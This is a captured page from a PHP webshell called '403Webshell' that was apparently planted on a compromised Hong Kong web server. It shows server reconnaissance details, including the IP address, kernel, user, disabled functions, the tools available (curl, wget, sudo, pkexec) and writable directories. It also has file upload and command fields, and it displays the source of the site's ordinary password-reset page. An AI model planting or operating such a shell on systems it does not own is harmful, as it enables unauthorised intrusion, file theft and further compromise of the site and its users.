403Webshell
Server IP : 210.245.233.93  /  Your IP : 216.73.216.226
Web Server : Apache/2.2.15 (CentOS)
System : Linux webserver2.onesolution.com.hk 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : exec, shell_exec, system, passthru, popen, proc_open, pcntl_exec
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/hkosl.com/m.musiccircle/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/hkosl.com/m.musiccircle/forget_password.php
<?php
	include('_init.php');

	if (!empty($_SESSION['cmsloginid']) && ($_SESSION['member_login'] || $_SESSION['student_login'])) {
		header("Location: index.php");
		exit;
	}

	$action = $_GET["action"];
?>
<!DOCTYPE html>
<html lang="en">
<head>
	<?php include('_head.php'); ?>
	<script type="text/javascript" src="js/facebook.js"></script>
	<link href="css/style_k.css?v=<?= time(); ?>" type="text/css" rel="stylesheet">
	<style>
		.form-control-feedback {
			left: 0 !important;
		}

		.has-feedback i {
			border-bottom: 1px solid #fff !important;
		}

		.has-feedback .form-control {
			padding-left: 35px;
			padding-right: 0;
			background-color: inherit;
			border: none;
			border-bottom: 1px solid #555;;
			box-shadow: none;
			border-radius: 0;
		}

		.error {
			padding-left: 35px;
		}
	</style>
</head>

<body>
<?php include('_header.php') ?>

<?php //include('_dialog.php') ?>

<div class="ProfileContent">
	<div class="Profilecontainer">
		<div class="row">
			<div class="col-md-12 faq">
				<h1 class="tc"><?= _lang("忘記密碼") ?></h1>
				<hr>

				<? if($action=='success'){?>
					<p class="general_txt success bigger">
						<?=_lang("We have sent new password to your email account.")?> </p>
				<? }else if($action=='fail'){?>
					<p class="general_txt success bigger">
						<?=_lang("Cannot send email. Please try again.")?></p>
				<? }?>

				<form action="_process.php" method="post" enctype="multipart/form-data" role="form" id="LiLoginForm">
					<input type="hidden" name="action" value="forgetpassword">
					<div class="form-group has-feedback">
						<input type="text" name="email" class="form-control" placeholder="電子郵件" required>
						<i class="form-control-feedback glyphicon glyphicon-envelope" style="color:#555;"></i>
						<div style="color:#F00; display:none;" class="error" id="emailError">請輸入你的電郵</div>
						<div style="color:#F00; display:none;" class="error" id="emailError2">請檢查電郵格式。</div>
					</div>

					<button type="button" class="SignUpSubmit" id="LiLoginBtn">提交</button>
				</form>

			</div>
		</div>
	</div>
</div>

<? include('_footer.php') ?>

<script type="text/javascript">
	$(function () {
		$("#LiLoginBtn").on("click", function () {
			$(".error").hide();
			var email = $("input[name='email']").val();
			if(!email){
				$("#emailError").show();
			}else{
				if (!/^([\w-]+(?:\.[\w-]+)*)@((?:[\w-]+\.)*\w[\w-]{0,66})\.([a-z]{2,6}(?:\.[a-z]{2})?)$/.test($('input[name="email"]').val())) {
					$("#emailError2").show();
				}else{
					$("form").submit();
				}
			}
		});

	});
</script>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit